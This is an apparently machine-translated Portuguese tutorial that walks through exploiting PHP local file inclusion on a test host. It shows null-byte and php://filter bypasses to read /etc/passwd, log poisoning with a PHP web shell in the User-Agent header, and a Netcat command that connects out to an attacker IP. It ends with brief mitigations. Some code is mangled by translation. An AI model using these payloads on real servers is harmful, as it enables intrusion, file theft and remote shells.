Inclusão de arquivo local (LFI) é a capacidade de usar arquivos de servidor local. A vulnerabilidade permite que um usuário remoto acesse arquivos arbitrários no servidor usando uma solicitação especialmente criada, incluindo potencialmente contendo informações confidenciais. Hoje vamos contar como um invasor usando essa falha pode executar comandos em um servidor remoto.
Uma vulnerabilidade semelhante ocorre quando funções não seguras são usadas ao implementar um aplicativo da web, por exemplo, include , que permite incluir conteúdo em uma página a partir de um arquivo local. No nosso caso, é assim:
Graças à linha include (“$ file”) , o valor do arquivo de parâmetro GET será incluído no conteúdo da página . Agora, usando esta vulnerabilidade, retornaremos arquivos locais que especificamos no parâmetro.
O artigo é apenas para fins informativos. Não infrinja a lei.
Detecção de vulnerabilidade
Como encontrar uma vulnerabilidade? Se você especificar em um parâmetro potencialmente vulnerável a inclusão de algum arquivo local, por exemplo, índice com qualquer extensão, e este arquivo será aberto, então podemos definitivamente dizer que o parâmetro é responsável por trocar o arquivo. Isso pode ser feito manualmente ou usando várias ferramentas automatizadas, por exemplo, o scanner de vulnerabilidade Wapiti , que foi mencionado em um de nossos artigos , ou uma ferramenta especializada LFISuite , que é projetada especificamente para pesquisar e explorar vulnerabilidades LFI.
Que armadilhas pode haver? Por exemplo, a presença de uma filtragem que irá substituir uma extensão de arquivo no final de uma linha, por exemplo, .php . Assim, quando tentarmos incluir o arquivo / etc / passwd na página, receberemos o arquivo = / etc / passwd.php na barra de endereços , e o conteúdo deste arquivo não será exibido na página, pois o arquivo não existe. Mas esse filtro pode ser contornado usando o chamado byte zero, que "cortará" tudo o que vem depois dele. O fato é que toda a barra de endereço durante a transmissão de uma solicitação HTTP é codificada em codificação de URL e, nessa codificação, o byte zero parece % 00 . Assim, a linha /etc/passwd%00.phpserá convertido para / etc / passwd . No entanto, deve-se notar que este problema é bastante conhecido e foi corrigido no PHP 5.3+
.Outra opção para contornar a filtragem é usar o filtro php . No parâmetro responsável por incluir arquivos, escrevemos não apenas o caminho para o arquivo que desejamos incluir, mas o caminho para o arquivo usando esta função. Agora, a solicitação que enviaremos se parece com:
http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
E agora, na página do navegador, veremos não o conteúdo do arquivo, mas sua origem na codificação base64 , que pode ser decodificada: Classificamos
os principais pontos da vulnerabilidade LFI e agora entendemos que durante sua exploração é possível ler um arquivo local em um servidor remoto. Mas o LFI tem um recurso interessante que permite não apenas ler arquivos locais, mas comprometer o servidor.
Envenenando o log do servidor web
Acho que vale a pena mencionar imediatamente que a vulnerabilidade não é nova, mas ainda assim ocorre e pode representar uma séria ameaça à segurança de um servidor web. Ao interagir com uma aplicação web, qualquer um de nossos pedidos são registrados nos logs do servidor web, como regra, estes são os arquivos /var/log/nginx/access.log ou /var/log/nginx/error.log se, por exemplo, um servidor web é usado Nginx , mas os nomes dos arquivos finais, é claro, podem ser diferentes.
Agora, fazendo uma solicitação especial, criaremos um shell da web no servidor, gravando-o no access.log . Para fazer isso, altere o cabeçalho User-Agent adicionando a ele <? sistema php ($ _ GET [cmd]); ?> . Para enviar uma solicitação, utilizaremos a ferramenta Burp Suite , que permite interceptar e editar solicitações em tempo real. Por que o User-Agent foi usado ? Como mencionado anteriormente, a barra de endereço codifica as informações usando codificação de URL, portanto, para transferir o código php, você precisa usar cabeçalhos e, uma vez que o Agente do Usuário está exatamente escrito no access.log , nós o usaremos. O shell da web está escrito e pronto para uso: Ao acessar o log do aplicativo da web usando a vulnerabilidade LFI, seu conteúdo será lido, e o script <? Php system ($ _ GET [cmd]); ?>
- execute, que permitirá usar a variável " cmd " para executar comandos no servidor:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
Ao contrário do LFI, onde o caminho completo para ele deve ser especificado para ler o conteúdo de um arquivo, no segundo caso, comandos arbitrários são executados no servidor. Isso significa que além de ler os arquivos do servidor, podemos acessá-lo. Para isso, especificamos no parâmetro cmd o comando para iniciar o Netcat para se comunicar com o servidor do invasor, ou seja, conosco:
http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
Recomendações
- verifique regularmente a segurança do aplicativo da web para evitar vulnerabilidades;
- adicione a linha <? php exit (1) ao log do servidor web ; ?> . Este script impedirá qualquer tentativa de executar código php neste arquivo (não é uma boa ideia, mas funciona, pelo menos até que o rsyslog recrie o arquivo de log);
- use WAF, que irá bloquear uma solicitação maliciosa, evitando que ela seja executada no servidor web.